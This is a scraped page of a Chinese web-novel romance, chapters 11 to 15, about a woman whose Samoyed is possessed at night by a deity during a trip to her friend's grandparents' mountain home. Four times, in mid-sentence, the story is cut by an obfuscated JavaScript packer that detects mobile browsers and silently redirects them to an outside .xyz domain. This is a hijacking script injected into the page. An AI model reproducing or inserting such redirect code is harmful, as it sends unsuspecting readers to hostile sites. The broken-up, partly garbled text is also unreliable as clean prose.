干完这一切,她又沉默地关了灯,裹上被子沉默地睡觉。 疑似十二月向她开炮!开炮!开炮!!! - 六点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755408|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁咚青被闹钟叫醒,她难得没有赖床,穿好衣服后和卧室里的宁国庆相对而立。 宁国庆一直在闻身上的味道,它眼神里透露着茫然,不知道为什么突然身上就香香的。 宁咚青摸摸它的头,深深地叹了口气,打开房门发现客厅里的茶几上摆了茶叶蛋、小米粥还有一袋生煎包。 是个好人,不对,好神。 但是这并没有缓解他俩之间的尴尬气氛,直到星期五晚,宁咚青接韩笑笑回到家里,她还是无法直视向柯本人以及变成萨摩耶的向柯。 倒是韩笑笑,一进门就热情地张开双臂,要给宁国庆一个熊抱,谁想宁国庆灵活地躲开了,一脸冷漠地走远,留给她一个决绝的背影。 “欸?” 韩笑笑张开的双臂僵在半空之中,她扭过头看向宁咚青,满脸疑惑。 宁咚青扯了笑,打着马虎眼:“他……就这样,白天就好了。” “咋了?”韩笑笑打趣道,“小国庆分裂出第二狗格啦?” 宁咚青抿唇:“差不多吧。” 韩笑笑是个大大咧咧的性格,她也没过多纠结,揽着宁咚青大剌剌往沙发上一躺:“今天通宵?” 宁咚青笑道:“行啊,不过明天不开车了?” 韩笑笑眨巴眨巴眼睛:“找个代驾嘛。” “OK。”宁咚青拿起手机,“那我点些夜宵。” 韩笑笑凑过来:“我想吃捞汁小海鲜,麻辣小龙虾,还有芋泥啵啵。” 宁咚青戳着手机屏幕:“我还想吃卤味、烧烤、火鸡面和提拉米苏。” “怎么办。”韩笑笑一脸沉重,“悄悄告诉你,其实我这段时间在减肥。” 宁咚青淡淡地说:“是时候来顿放纵餐了。” 韩笑笑:“你说得对。” …… 两个人对着外卖平台好一番研究,到最后,向柯扒在窗台上看到了十个骑手往他们这栋楼来。 上楼的脚步声咚咚咚响个不停。 摆了一茶几的小吃,馋得人流口水,韩笑笑和宁咚青拍了几张照,发了朋友圈,这才坐下慢慢享受这个美好的夜晚。 韩笑笑按着电视机的遥控器:“我跟你说,我最近找到一个综艺,每次看都笑到我肚子痛。” 宁咚青手上剥着小龙虾,抬头看了眼电视机:“我还喜欢这几个人的,综艺感超好。” “是吧!”韩笑笑疯狂赞同,“希望导演识趣点,下一季还是原班人马。” 两人说着话,宁咚青发现窗边有一只萨摩耶直勾勾地盯着茶几上的夜宵,感觉下一秒,口水都要从嘴角流出来了。 她觉得好玩,含笑问道:“你也想吃?” 韩笑笑顺着宁咚青的视线看过去,摆摆手:“不行,小狗不能吃这个,你吃狗粮。” 萨摩耶一秒炸毛,隔着老远都能感受到它身上浓浓的怨气。 宁咚青笑趴了,韩笑笑还一头雾水:“诶,它的毛怎么突然立起来了?表情还跟吃了屎一样。” “生气了吧。”宁咚青捂着肚子笑了会,“看我们吃东西馋了,又不想吃狗粮。” 韩笑笑震惊:“那它要吃什么?” 宁咚青偏过头看着窗边的萨摩耶:“他……或许想吃虾?” 萨摩耶转过身,背对着她们,几不可察地点点头。 宁咚青笑了下,站起身来:“行,等着。” 韩笑笑“嘿”了一声,打趣道:“哟,还是个金贵的小少爷呢。” 她话音刚落,萨摩耶就扭头瞪了她一眼。 韩笑笑:“……” 12. 第 12 章 宁咚青和韩笑笑一口气追平了还在更新的综艺,到了后半夜,两人吃饱喝足,靠在沙发上,抱着抱枕蛐蛐人。 韩笑笑喝了口奶茶润嗓子:“我跟你说,前几天我去电影院遇到我前男友了,特别抓马。” 宁咚青靠在沙发上嗑着瓜子:“就以前和你谈了一个星期的那个?” “就是他。我前两天说去看个电影,买了个午夜场,那场电影就只有两个人,打死我都没想到会是他!他进来的时候我都懵了。”韩笑笑侧过身,“然后他水灵灵地坐我旁边了,正常情况都会坐到后面吧,又没人。” 宁咚青和韩笑笑是大学时候认识的,工作后两人到了不同的城市工作,她这个前男友就是在刚工作的时候谈的。 但这男的就很奇怪,他从来都不拍照,韩笑笑和他确认关系后想着和他拍张合照,发朋友圈官宣,却被他支支吾吾地拒绝了。 后来谈了一个星期,有天晚上两人出去散步,晚霞很美,韩笑笑跟在后面偷拍了他一张照片,然而手机上留下的只有天空,正中间的人却消失不见了。 韩笑笑当时快吓死了,她对着男友连拍了十几张照片,怎么拍照片上都不会留下他的身影,韩笑笑当天晚上就提了分手。 这事已经过去几年了,现在想想仍让人感到后怕。 韩笑笑拍着胸脯:“你都不知道,他坐下来的时候我有多害怕,生怕明天新闻上就爆出一起电影院杀人案。” 宁咚青看了看蹲在墙角的萨摩耶,忽然想到或许向柯知道点内幕,她问韩笑笑:“你前男友叫什么名字?” 韩笑笑打了她手臂一巴掌,震惊道:“你居然我不知道我前男友的名字?” “我不知道啊。”宁咚青捂着被打的地方,张口申冤,“你没告诉我,你不记得了?” “哦对对对。” 韩笑笑一拍脑袋,当时她沉浸在自己的世界中,刚谈时,以“我男朋友”称呼,分手后,以“那男的”代称,恰巧宁咚青也没问过,所以…… 韩笑笑谄媚地揉了揉宁咚青的手臂,说:“他叫钟运喜。” “哦,钟运喜啊……什么?!钟运喜!?” 宁咚青“蹭”一下从沙发上弹起来了,我的好闺闺,你喵的谈了个考神啊?! 韩笑笑抱着抱枕,眨巴眨巴眼睛,疑惑道:“你认识他呀?” 她当然认识了!前几天还吃了个火锅呢,宁咚青不动声色地扫了眼角落的向柯,意思是能不能说钟运喜的事。 原本趴在角落里半死不活的他,现在眼里突然有光了……丝毫不掩饰吃到大瓜的兴奋。 不过向柯用仅存的一点理智对着宁咚青摇了摇头。 宁咚青在心里叹了口气,舌头在嘴里抡了一圈:“不认识,就前几天吃了顿火锅,那家店的名字叫钟运喜,我觉得还挺巧的。” “这样啊。”韩笑笑也没放在心上,她接着刚才的话题继续说道,“那天真把我吓得够呛,我趁着灯黑,猫着腰就跑了,结果他还跟过来了!把我拉进了安全通道里。” 此话一出,站着的一人一狗立起了耳朵,八卦之魂在心中熊熊燃烧!!! 韩笑笑继续道:“然后我就一直尖叫,踩了他一脚立马跑了。” 宁咚青坐到她身边:“然后呢?” “嗯?什么然后?” 韩笑笑摸不着头脑,“我就跑了呀,跑回家了。” 白白浪费她一张电影票。 “……好吧。”宁咚青想到什么,问道,“笑笑,你前男友长什么样啊?” 会不会只是和钟运喜撞名了? 韩笑笑想了想:“嗯……很帅很高,至少有一米九,但是他的脸和身高严重不符,光看脸就像个小正太你知道吗,但是一站起来超大一个。” 宁咚青:“……” 确认了,就是那个钟运喜。 她记得韩笑笑刚分手的时候她俩蛐蛐他好久,以为遇到了什么灵异事件。 “算了,不说他了,怪吓人的。”韩笑笑又换了个话题,“我跟你说,我们办公室有个人超讨厌……” 韩笑笑话题转换的很快,两人凑一起把不顺心的人和事都吐槽了个遍,宁咚青觉得乳腺都通畅了。 韩笑笑最后说道:“我们这样说他们是不是不太好?” 宁咚青没心没肺道:“实话实说而已。” 韩笑笑竖了个大拇指,笑趴了。 蹲在墙角听完全程的向柯:“……” 攻击性很强的两个人。 - 宁咚青和韩笑笑最终还是在沙发上睡着了,但没睡过头。 因为天一亮,就被人来疯的宁国庆闹醒了,韩笑笑迷迷糊糊地抱着一直往她怀里钻的萨摩耶,摸不着头脑:“它怎么了?” 宁咚青眼睛都不睁:“见到你高兴。” 韩笑笑揉了一把它的头:“昨天怎么不见它这样?” 宁咚青闭着眼睛说真话:“被夺舍了。” 韩笑笑:“……” 两人靠在沙发上扯皮了一会儿,起身收拾好东西,韩笑笑靠在行李箱上:“青青,我觉得精力充沛啊,完全不用找代驾。” 宁咚青戴上墨镜:“我俩换着开。” 韩笑笑一拍手:“出发!” 两人踩着阳光将行李箱抬到车上,宁咚青打开后座车门,宁国庆灵活地一蹦,韩笑笑率先坐到驾驶位上,放响了音乐,打破清晨的宁静。 汽车在公路上疾驰,天上白云,远处绿树,争先恐后地迎面而来又被甩在身后,时间流逝着,人却是一路向前的。 红霞染了半边天的时候,白溪镇也近在眼前了。 最后这段路是宁咚青开的,她早早看见两个老人站在路口,认真地辨认着每一辆疾驰而过的车牌。 宁咚青打了转向灯,朝着路口过去。 韩笑笑开了车窗,大老远就朝他们挥手:“外公外婆!” 老人寻声望来,待看清来人后立马扬起了笑脸和她们招手。 宁咚青将车子停下,开了车门让他们坐进来,宁国庆摇着尾巴在后座上蹿下跳,热情得两老有些招架不住。 “外公外婆好久不见呀。”宁咚青笑眯眯地说,“最近身体怎么样?” “好得很好得很!”外公爽朗道,“青青你要多和笑笑一起回来玩嘛,很长时间没有见你了。” 外婆接过话:“就是说,你们多回来,这样吃的也好,在外面总是吃加工肉吃外卖,一点都不健康。” “我和笑笑要在这里住上好多天呢。”宁咚青笑道,“还得多多麻烦你们。” 外婆摆摆手:“哎哟,麻烦什么,你这孩子就是太客气了。” “就是。”韩笑笑睨她一眼,嗔怪道,“你再这样我可要生气了。” 宁咚青笑着点头:“好好好。” 白溪镇是一个建在山上的镇子,山间有条溪水从山顶蜿蜒而下,故取名白溪。韩笑笑的老家在山的最高处,那里只住着两三户人家。 车开不上去,宁咚青将车停在了山脚,宁咚青和韩笑笑一人拖着一个巨大行李箱往山上走,二老一直要搭把手,都被她俩拒绝了。 宁国庆一直冲在前面,宁咚青搬着行李箱爬到半山腰时,却看见它一动不动坐在路中间。 她擦了一把额头上的汗,打趣道:“累了?” 宁国庆听见她的声音,缓缓转过身来,目光幽幽。 宁咚青:“……” 这是换人了? 她抬头看了眼天色,红霞早已消失,取而代之的是深色的夜空,这山上家家户户一亮起灯便宛如白昼,她又一直埋头走路,竟没察觉时间已经过去这么久了。 宁国庆……哦不,向柯不急不缓地走到她身边,抬起头看她,眼睛里充满了疑惑。 宁咚青趁韩笑笑和两位老人不注意,弯下腰在他耳边轻声解释道:“之前我不是请了年假嘛,就是跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755409|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着韩笑笑来她外婆家住几天。” 向柯抬起萨摩耶的前爪指了指前方,意思是为什么要爬山。 宁咚青说:“她外婆家在山上。” 萨摩耶的尾巴肉眼可见的垂下去了。 宁咚青轻笑:“马上到了。” “宁咚青!别和你家狗耳语了,快走!”说话的功夫,韩笑笑已经爬出去了十多米,她站在上面喊她,“好饿啊!” 宁咚青扬声道:“来了!” 宁咚青将行李箱提起,发现比之前轻了许多,低头一看,箱子底部抵着个毛茸茸的脑袋。 宁咚青连忙道:“没事,你不用帮我,我抬得动。” 下面的狗很固执,一动不动。 宁咚青只好又说:“到时候毛弄脏了还得给你洗澡。” 她话音刚落,手上一沉,随后就见一道白色闪电头也不回地冲上了山,没有一点点犹豫。 “……” 倒也不必如此畏惧…… 一行人走到山顶的时候天已经完全黑了,山上很冷,居然还有着积雪,韩笑笑的外公外婆在门前挂了两个崭新的红灯笼。 宁咚青还记得上次来这里,到处都是绿意盎然,顺着石灰墙,开满了蔷薇。花前,有香椿两棵,梅树、红杏各一株。 杏树特别大,树枝伸到了院子里,能形成一块树荫,恰巧这块阴凉地下面便有一方石桌,夏天的时候能坐着纳凉。 推开木门往里走,映入眼帘的是老式的木建筑,有两层,宁咚青和韩笑笑的房间都在二楼。 外公外婆先让她们回房间收拾东西,他们则去炒两个菜。 宁咚青和韩笑笑说先帮忙做饭,外婆却道:“菜已经准备好咯,炒炒就行。” 外公已经把灶燃起来了,他的声音从厨房里传出来:“你们两个赶紧去收东西,然后下来吃饭!” 于是宁咚青和韩笑笑赶紧拎着行李箱往楼上走,宁咚青的房间在左手边,她推开门,房间被收拾得非常整洁,她扑到床上,被子还带着洗衣液的香味。 二楼的房间都带着小阳台,房间里的家具都是木头家具,很古朴也很温馨,她的床边还贴心地放了个狗窝。 宁咚青在床上滚了一圈,换了件外套后韩笑笑一起下了楼。 韩笑笑的外公外婆此时正在院子里围着披着萨摩耶皮的向柯。 宁咚青走过去,问道:“外公外婆,怎么了?” 外婆一见是她,立马抓住她的手,着急道:“哎哟,青青啊,它刚刚要吃东西,我就想着拿个碗给它盛点鸭肉,等它吃下去一块才想起来我在里面放了酒呀,狗狗是不是不能吃酒的?” 外婆懊恼地拍拍脑门:“真是越老越糊涂了!” 宁咚青看了眼向柯,问他:“就只吃了一块吧?” “对对对,就一小块!”没等向柯做出表示,外公就着急道,“我们想起来就赶紧把碗拿走了,这事都怪我们。” “没事的。”宁咚青安慰他们,“先让他多喝点水。” 说着,韩笑笑接了一大碗水过来,宁咚青放到向柯面前:“喝完。” 四个人盯着萨摩耶把碗里的水舔干净,外婆还是不放心:“它会不会酒精中毒?” “不会的。”宁咚青轻拍了一下外婆的背,以示安慰,“放心吧。” 这段小插曲耽搁了一下吃饭的时间,等菜上桌时,宁咚青和韩笑笑已是饥肠辘辘。 外公外婆做了很多菜,荤菜素菜汤菜热气腾腾地摆了一大桌,每个人还配了一碗酒酿小汤圆。 宁咚青好久没吃过这么原生态的饭菜了,酒是外婆酿的,素菜是菜园子现摘的,肉也是买的山下屠夫刚宰的新鲜牛,至于鸡鸭,是家里自己喂的。 赶了一天路,两人一“狗”皆是狼吞虎咽。 饭吃到一半,向柯忽然感觉到体内传来熟悉的燥热,他被迫放弃了可口的饭菜,带着半饱都没有的肚子,悄无声息地跑上了楼。 13. 第 13 章 宁咚青是在收拾碗筷的时候发现向柯不见了的,她将手里的空碗放到洗碗盆里,左右转了一圈,还是没有发现他的身影。 韩笑笑见她东张西望的,走过来问:“找什么呢?” “哦,宁国庆。”宁咚青道,“突然就不见了。” 韩笑笑看了一圈,说道:“会不会跑去楼上了?” 宁咚青:“我去看看。” 宁咚青快步跑上楼梯,到了二楼一左转,发现自己房门紧闭,宁咚青有些疑惑,她刚才想着通风就没有关门。 宁咚青向前一步,手搭在门把手上,要将门拉开,然而门似乎被焊死了,怎么拉都纹丝不动。 “向柯?你在里面吗?”宁咚青屈起手指敲了敲门,“是我,一个人。” 门被拉开了一小缝,缝里伸出了一只手将宁咚青拽了进去。 宁咚青猝不及防被拉了一个酿跄,她勉强站稳后,背靠着门,仰头问:“你怎么变回来了?” ”应该是鸭肉里有酒的缘故。“向柯神色认真,“上次也是因为接近傍晚的时候喝了酒就变回来了。” 说到这个,宁咚青吐槽他:“你不知道里面有酒吗,你还吃!” 向柯道:“完全闻不出来啊。” 宁咚青恨铁不成钢:“狗鼻子那么灵,你闻不出来?” 向柯:“……” 木已成舟,宁咚青也没有办法,她绕开向柯,将屋里的灯打开,坐到沙发上:“你今晚还能变回去吗?” 向柯摇摇头:“不能了吧,上次也持续了一整晚。” 宁咚青叹了口气:“那你就现在屋里待着吧。” “要是有人来的话……”她环视了一圈屋内,往衣柜的方向一指,“你就躲到那里面去。” 向柯看了看比他矮了一个头的衣柜,走过去比划了一下:“这太小了。” 他一米九四的身高,要躲进这一方狭小的衣柜,未免有些强人所难。 “以防万一嘛。”宁咚青说,“来人的可能性微乎其微。” 她话音刚落,门外就传来韩笑笑的声音:“青青,你找到国庆了吗?” 说话间,还有高跟鞋踩在楼梯上的声音,并且越来越近了。 说时迟那时快,宁咚青一把将向柯拉到衣柜旁,就要把他塞进去,但是这衣柜实在是太小了,还很窄,向柯尝试了几次,皱着眉道:“真进不去。” 韩笑笑的脚步声越来越近了,宁咚青急道:“谁让你这么大!” “什么……什么叫我这么大?”听到韩笑笑的敲门声,向柯头上的耳朵都急成飞机耳了,“没地方躲啊,我们把韩笑笑敲晕好了。” “好你大爷。”宁咚青给了他一下,“躲床上!” 韩笑笑敲了两下门,问道:“青青,我能进来吗?外婆让我给你拿点水果。” “我在换衣服,马上!” 宁咚青扯着被子一甩,将蜷缩在床上的向柯遮得严严实实。 宁咚青火急火燎地要去开门,向柯的声音从被子里传出来,闷闷的,他压着声音说:“耳朵露出来了!” 宁咚青手都搭在门把手上了,听到他的声音又转过头去,看见一对毛茸耳朵裸/露在外。 她快步走过去,才将耳朵塞进被子里,又发现尾巴掉出来了,宁咚青隔着被子拍了一下向柯:“你别乱动!” 向柯有苦说不出:“我没动啊,这尾巴不受我控制。” 而且她的床好小,腿都伸不直。 宁咚青:“别说话!” 向柯:“……” 造孽啊,他到底是犯了什么罪要这么惩罚他。 将一切安顿好,宁咚青终于跑去给韩笑笑开门,还不忘换了件外套。 她打开门,冷风忙不迭地往里灌,韩笑笑走进来将水果放到她桌上:“尝尝。” 宁咚青拿了一块苹果,特甜,脆脆的,汁水也足,她称赞道:“好吃!” “先放着吧,待会上来吃。”韩笑笑揽着她的肩,“下去和外公外婆聊天?” 宁咚青正要说好,后面就传来一阵嘎吱声,韩笑笑偏过头,看见了一条毛茸茸的尾巴,从被子里露出来,拖到了地上,她问道:“青青,国庆在你床上啊?” 宁咚青勉强笑了两声:“是……是啊,他睡觉呢。” “这样睡会不会闷到它呀?” 韩笑笑说着,走过去想要将被子往下拉一些,宁咚青连忙制止道:“不,不会,他就喜欢这样,不用管他,我们走吧!” “可是……”韩笑笑还想说些什么。 “走吧。”宁咚青半推半就地揽着她的肩将韩笑笑带出了门,“外公外婆该等急了。” 宁咚青关上房门的瞬间,向柯就将被子掀飞了,他大口大口地呼吸着新鲜空气,再憋一会儿,说不准要一尸两命了。 …… 宁咚青跟着韩笑笑走到堂屋里,外公外婆正围着炭火暖手,电视机里放着谍战片。 韩笑笑说炭火下面的灰里埋着红薯,等闷熟了可以挖出来吃,特别香。 “你们平时工作忙不忙呀?”外婆见她们俩坐下来,出声问道。 韩笑笑倒在沙发上,手枕在脑袋后,说:“我还好,时间自由,青青比较累,几乎每天都加班。” 外公说:“青青比上次回来瘦了好多,要好好吃饭,你们两个都是。” 宁咚青轻笑:“知道啦。” “尝尝这个。”外婆不知道从哪里变出一个罐子,她将里面裹着糖浆的“花”拿出来,装了满满一碗,“这是雕梅,用门口那棵梅子树结的梅子做的。” “哇,谢谢外婆。” 宁咚青双手接过,拿了一个小木凳摆在四人中间,将碗放上去,用筷子夹了一个雕梅,才用手拿起边缘,喂到嘴里。 酸酸甜甜的味道自口腔里蔓延,还带着青梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755410|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的香,宁咚青没忍住又吃了一个。 韩笑笑说:“等年假结束,我肯定会胖好几斤。” 宁咚青举双手赞同。 四个人其乐融融的在堂屋里烤着火聊着天,宁咚青全然忘记了楼上还有个人。 人神的悲欢并不相通,此时的向柯抱着尾巴缩在被子里,又饿又冷又无聊。 他没有手机,联系不了宁咚青,坐在床上思考了半天,灵光一现,不轻不重地剁了几下脚。 希望她能听到他的呼唤。 …… 宁咚青正和韩笑笑一起将炭火用火钳扒开,挖出里面埋着的红薯,红薯已经熟了,散发着诱人的香味。 宁咚青剥了红薯的外衣,拿了个勺子正准备挖着吃,就听到天花板上传来窸窣的声音。 其他人显然也听见了,外公仰着头,问道:“什么声音啊?” 韩笑笑道:“好像是从楼上传来的。” 外婆说:“会不会是耗子?” 外公一听,抄起家伙就要往楼上冲,宁咚青一个激灵,连忙拦住他:“外公!等等等等……应该是宁国庆,我上去看看。” “哦,行。”外公重新坐回座位上,“那把它带下来吧。” 宁咚青大脑飞速运转:“他……它性格太跳脱了,我怕火给它毛点燃了,就让他待在上边吧。” “也是也是。”外婆道,“那你拿点东西给它吃。” 宁咚青说好,然后扯了扯韩笑笑的袖子:“我还想去吃点菜和酒酿汤圆,可以吗?” “当然可以了!”韩笑笑严肃道,“宁咚青,我要批评你了,你别这么拘束行不行?” 外婆也说:“是呀,青青,就当自己家。” 宁咚青眼眶一热,连连点头。 她们这么一说,她更愧疚了,因为她是要端给她房间里的男的吃的……她真是罪该万死。 外公道:“要不要我帮你热热饭菜?” 说着他就要起身,宁咚青连忙道:“不用不用,让他……呃,我,我吃冷的就行。” “冷的吃了对身体不好。” 外公执意要往外走,宁咚青只好道:“我自己热就好,不用麻烦您了。” 她说着,朝韩笑笑投去求助的眼神。 韩笑笑知道她就是这么个性子,总不想麻烦别人,于是拉了一把外公的袖子:“外公,你让青青自己去吧,她要吃多少盛多少,放微波炉里一加热就完事了。” 宁咚青附和道:“对对对。” “好吧。”外公又嘱咐道,“碗从微波炉里拿出来的时候别烫着手。” 宁咚青嗯了一声,点头说好。 外婆笑着和韩笑笑道:“你外公啊,天生就是个操心的命。” …… 宁咚青拿了一个烤红薯,又去厨房里给向柯挖了一碗饭,盖上剩着的菜,又舀了一碗酒酿汤圆,热好后,蹑手蹑脚地上了楼。 14. 第 14 章 宁咚青推开房间门,向柯正坐在床上吃那盘水果,看见她走进来,还欲盖弥彰地往后藏了藏。 “……你继续吃。” 宁咚青把大碗小碗的放在桌上,拉了条椅子坐在旁边:“给你拿了点饭。” 向柯觉得自己像被人养着好吃好睡的宠物,这个认知让他既烦躁又无可奈何,他抓了抓头发:“谢谢,辛苦了。” 以后的晚饭他还是在黄昏之前解决好了,并且绝不碰酒。 “没事。”宁咚青倒是不太在意,“话说你明天解除附身的时候,还会在这里吗?” “会。”向柯道,“我每天早上解除附身,都跟你的狗打个招呼再走呢。” 宁咚青:“……” “从这里开车回南城得开一整天呢,你以后就这么来回跑啊?” “就待在这呗。”向柯说,“就当过来旅游了。” 反正她们也就在这待五天。 心态真好。 宁咚青默默地想。 “对了,我今晚睡哪?” 向柯环视了一圈周围,床是单人的,狗窝太小,地板太冷,没一个地方能睡。 宁咚青指了指摆在角落的只能坐不能躺的单人沙发:“将就一晚?” 向柯叹了口气,最终还是向生活妥协:“好。” 楼上有水池,向柯把碗洗了后,宁咚青又蹑手蹑脚地下了楼,将碗放到了橱柜里。 - 这里的星星特别亮,宁咚青站在院子里抬头望着夜空,不知道是不是在山顶的缘故,她第一次觉得天空居然这么近。 宁咚青站在院子里吹了会风,甫一转头,看见二楼的窗台上挂着个人,他半个身子都在外面,头朝下,双手垂着,看起来很落寞。 宁咚青试着制造出了一点动静,吸引了他的注意力,他抬起头来,朝她这边看来。 宁咚青举起手指了指天上,向柯一抬头,看见了满天繁星。 是挺美的。 他无声笑了下,垂下目光去看院子里的人,宁咚青此时正举着手机在拍照,鬼使神差的,不好的情绪忽然消散了。 这是自从失去法力以来,他第一次感到心情不错。 …… 宁咚青拍了好多张照,院子里的冷风不停歇地吹着,直到快被冻僵,她才搓着手跑回堂屋,和韩笑笑他们一起烤火看电视。 十点过几分,外婆就催着宁咚青和韩笑笑去洗漱,十点半,两人被赶上了房间。 在她们上楼之前,外婆还特意叮嘱:“晚上早睡点,不要玩手机!” 两人相视一笑,连连点头。 累了一天,宁咚青确实有些困了,然而她关上房门,鞋子一蹬,倒在床上的时候,困意瞬间消失得无影无踪。 宁咚青习惯性地拿出手机开始刷视频,全然忘记了屋里还有一个人。 这实在不能怪她,向柯一直坐在角落的单人沙发里,宁咚青进来后都没注意到他,他也不发出声音,直到宁咚青靠在床上刷了半小时的外放声音的视频…… 向柯忍不住道:“你不睡觉吗?” 都十一点了。 宁咚青看了看时间:“才十一点,太早了,睡不着。” 向柯不说话,但他头上的耳朵明显地往后一撇,这是不高兴的表现。 宁咚青这才反应过来:“哦,我打扰到你休息了是吗?等会啊,我去找个耳机。” 她爬下床,从包里翻出耳机带上,贴心地将房间里的灯关了,将手机亮度调到最低,窝在被子里继续刷视频。 黑暗中,向柯看着床头的那团荧光,默了默道:“要不还是把灯打开吧,你这样玩对眼睛不好。” 没人回答他,因为宁咚青带着耳机,与世隔绝。 …… 宁咚青都不知道自己是什么时候睡着的,第二天醒来的时候,手机掉在一旁,身上好像被压了千斤重。 她艰难地撑起身子一看,发现是宁国庆压在她身上。 宁咚青将宁国庆半拖半抱地弄下床,趿拉着拖鞋给它开了门。 向柯不知道去哪了,宁咚青洗漱完,恰巧遇到了同样从房间里出来的韩笑笑,两人并肩走下楼。 韩笑笑说:“青青,我们今天去鬼屋玩吧?” “这里有游乐园?”宁咚青问道。 “之前不是在施工嘛,最近这段时间开始营业了。”韩笑笑朝她挤眉弄眼,“听说里面的鬼屋超刺激,而且npc全是帅哥!” 宁咚青笑说:“德行。” - 游乐园开在山下,还要驱车五公里。 宁咚青没带着宁国庆一起,它跟着外公砍柴去了。 外婆早早就出门去邻居家打麻将了,韩笑笑和宁咚青锁好大门,下了山。 天空澄澈,整个白溪镇就像一个天然氧吧,深深吸一口气,仿佛能净化身体里所有的污浊。 今天是周末,人很多,特别是鬼屋,人更是多的离谱。 韩笑笑腰都站酸了,她用纸巾轻轻擦拭着头上的汗,纸巾上带下来一块粉底,她叹了口气:“我们真是做了个错误的决定。” 第一个项目就来排鬼屋的破长队,她妆都花了。 宁咚青探出头看了眼排头,安慰道:“马上就到我们了。” 韩笑笑振作起来,她补好妆,太阳快升到头顶的时候,终于轮到她们了。 宁咚青和韩笑笑选的是学校主题的鬼屋,每解一个谜题,npc会给一张地图的碎片,把谜题全部解开之后,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755411|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎片全部拼起来,就会得到一张完整的地图,上面画了出口。 “好黑啊。” 进去之后黑漆漆的一片,什么都看不见,宁咚青伸出双手,四处摸索,一点点地向前挪。 韩笑笑紧紧挽着宁咚青的手臂,贴着她瑟瑟发抖:“这个音乐怎么阴森森的。” 她们移动的速度超级慢,两个人走了半天,还没到走到第一间教室。宁咚青是因为有点近视和散光,看不清路。韩笑笑则是因为害怕,全程贴着宁咚青,跟着她龟速移动。 不知道是不是npc实在看不下去了,还没到任务点,就有个带着獠牙面具的大高个从黑暗里冒出来,轻轻拍了拍韩笑笑的肩。 韩笑笑一回头见到的就是这样一张面目狰狞的脸,还满身都是血,她浑身气血翻涌,直冲头顶。 “啊啊啊啊啊——” 韩笑笑的尖叫声差点刺破宁咚青的耳膜,她转过身:“怎么了怎么了?” “快跑啊!!!” 韩笑笑拽着宁咚青不要命地往前冲,宁咚青跑得磕磕绊绊的,她喘着气:“笑笑,慢点,我看不清路。” “可是鬼在后面——啊卧槽,前面也有!!!” 韩笑笑猛地刹住车,宁咚青撞到了她身上,她揉了揉额头:“没事的,他们都是人。” 韩笑笑还是很怕,贴着宁咚青抖成了筛子。 宁咚青换了个法子安慰她:“说不定皮下是帅哥呢,别怕。” 这话一出,韩笑笑果然没那么害怕了,她推开了一间教室,里面安装了血红色的氛围灯,看着很吓人。 宁咚青率先走进去,看见有人被五花大绑在一把椅子上。 那人身上的白衬衫很凌乱,有着很明显的血迹,一双长腿懒散地支在地上。 宁咚青和韩笑笑对视了一眼,韩笑笑朝她比了个叉,意思是她不敢过去。 宁咚青比了个“OK”的手势,然后扶着课桌往前走。 她走到离那个npc前面,试探地说了一句:“你好?” npc没动静,宁咚青转过身去看韩笑笑,在她和韩笑笑对视的瞬间,韩笑笑尖声道:“青青!后面!!!” 宁咚青一回头,那个npc不知道什么时候解了绳子,居高临下地看着她,手里拿着把滴血的刀。 这一个场景和记忆深处的某个画面高度重合,宁咚青瞳孔放大,僵在了原地。她听到韩笑笑在后面叫她的名字,但是她的腿就像被灌了铅似的,根本移动不了。 韩笑笑喊了半天,见宁咚青没动静,就要冲上来拉她,然而手还没碰到她,就看见这个身高腿长的npc将刀拿在手上转了一圈,低低笑了声。 他弯下腰,和宁咚青平视:“胆子这么小,还来鬼屋?” 15. 第 15 章 在他身影压下来的时候,宁咚青的呼吸窒了一瞬。 “向柯?” 宁咚青微微偏头,试图去看他刘海遮住的眼睛。 向柯抬起戴了手套的一只手,覆盖住宁咚青腰后的桌角,语气冷淡地嗯了一声。 韩笑笑的手僵在半空中,又默默缩了回去,她扯了扯宁咚青的衣袖,小声道:“你们认识?” 宁咚青点点头。 